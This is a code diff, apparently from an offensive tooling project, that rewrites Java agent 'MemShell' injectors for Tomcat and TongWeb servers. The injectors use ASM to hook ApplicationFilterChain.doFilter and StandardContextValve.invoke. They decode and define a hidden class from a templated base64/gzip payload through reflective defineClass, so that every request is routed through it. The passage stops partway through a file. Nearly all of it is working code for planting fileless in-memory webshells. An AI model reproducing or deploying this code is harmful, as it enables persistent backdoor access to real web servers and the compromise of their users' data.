||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-97
@@ -1,97 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public TomcatFilterChainAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new TomcatFilterChainAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
+200
-40
@@ -1,39 +1,29 @@
|
||||
package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TongWebContextValveAgentInjector implements AgentBuilder.Transformer {
|
||||
public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve";
|
||||
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve";
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
@@ -44,22 +34,192 @@ public class TongWebContextValveAgentInjector implements AgentBuilder.Transforme
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.disableClassFormatChanges()
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("com.tongweb.web.thor.core.StandardContextValve")
|
||||
.or(named("com.tongweb.catalina.core.StandardContextValve")))
|
||||
.transform(new TongWebContextValveAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at com.tongweb.web.thor[com.tongweb.catalina].core.StandardContextValve.invoke");
|
||||
inst.addTransformer(new TongWebContextValveAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)
|
||||
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at " + name + ".invoke");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-100
@@ -1,100 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve";
|
||||
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve";
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public TongWebContextValveAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new TongWebContextValveAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)
|
||||
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||
}
|
||||
}
|
||||
+200
-40
@@ -1,39 +1,29 @@
|
||||
package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TongWebFilterChainAgentInjector implements AgentBuilder.Transformer {
|
||||
public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain";
|
||||
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
@@ -44,22 +34,192 @@ public class TongWebFilterChainAgentInjector implements AgentBuilder.Transformer
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.disableClassFormatChanges()
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("com.tongweb.web.thor.core.ApplicationFilterChain")
|
||||
.or(named("com.tongweb.catalina.core.ApplicationFilterChain")))
|
||||
.transform(new TongWebFilterChainAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at com.tongweb.web.thor[com.tongweb.catalina].core.ApplicationFilterChain.doFilter");
|
||||
inst.addTransformer(new TongWebFilterChainAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)
|
||||
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at " + name + ".doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
